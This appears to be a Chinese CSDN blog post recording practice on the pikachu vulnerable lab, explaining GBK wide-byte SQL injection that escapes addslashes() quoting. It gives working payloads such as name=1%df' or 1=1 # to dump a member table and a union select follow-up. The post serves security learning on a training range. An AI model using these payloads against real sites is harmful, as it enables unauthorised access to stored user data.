pikachu靶场 宽字节注入 SQL注入学习记录

文章介绍了如何在遇到addslashes()函数导致单引号转义的情况下,通过构造%dfpayload利用GBK编码中的字符识别漏洞进行SQL注入,展示了从构造post内容到利用联合查询的过程。
摘要由CSDN通过智能技术生成

一.宽字节注入原理

请看大佬(或者他也是复制的也说不定)

pikachu sql inject 宽字节注入 - 明月照江江 - 博客园 (cnblogs.com)

以下是摘抄的重点

字符型的注入点我们都是用单引号来判断的,但是当遇到addslashes()时,单引号会被转义成 ’ ,导致我们用来判断注入点的单引号失效。所以我们的目的就是使转义符 \ 失效、使单引号逃逸。

我们的payload的是 %df ',其原理是当MySQL在使用GBK编码的时候,会认为两个字符是一个繁体汉字,然后让我们的单引号%27成功逃逸出转义
' -> \'              => %5C%27
%df' -> %d\'  => %df%5C%27

二.注入过程

1.构造post内容:

submit=%E6%9F%A5%E8%AF%A2
&name=1%df' or 1=1 #

执行后发现 这个语句爆出了整个member表的内容 那么为什么会这样呢

实际在数据库中执行是这样子 

select id,email from member where username='1%df' or 1=1;      

再简化一下

select id,email from member where 1=1;   

我们都知道1=1表示true,即永真。再简化一下

select id,email from member 

2.构造其他语句

因为1=1已经爆出了数据,证明了应当存在 order by 这样的数据库结构 我们这样构造试试

submit=%E6%9F%A5%E8%AF%A2
&name=admin%df' union select 1,2 #

终于回到了我们熟悉的联合查询 接下来的步骤无需多言了 相信到这里大家了然于胸了

  • 5
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值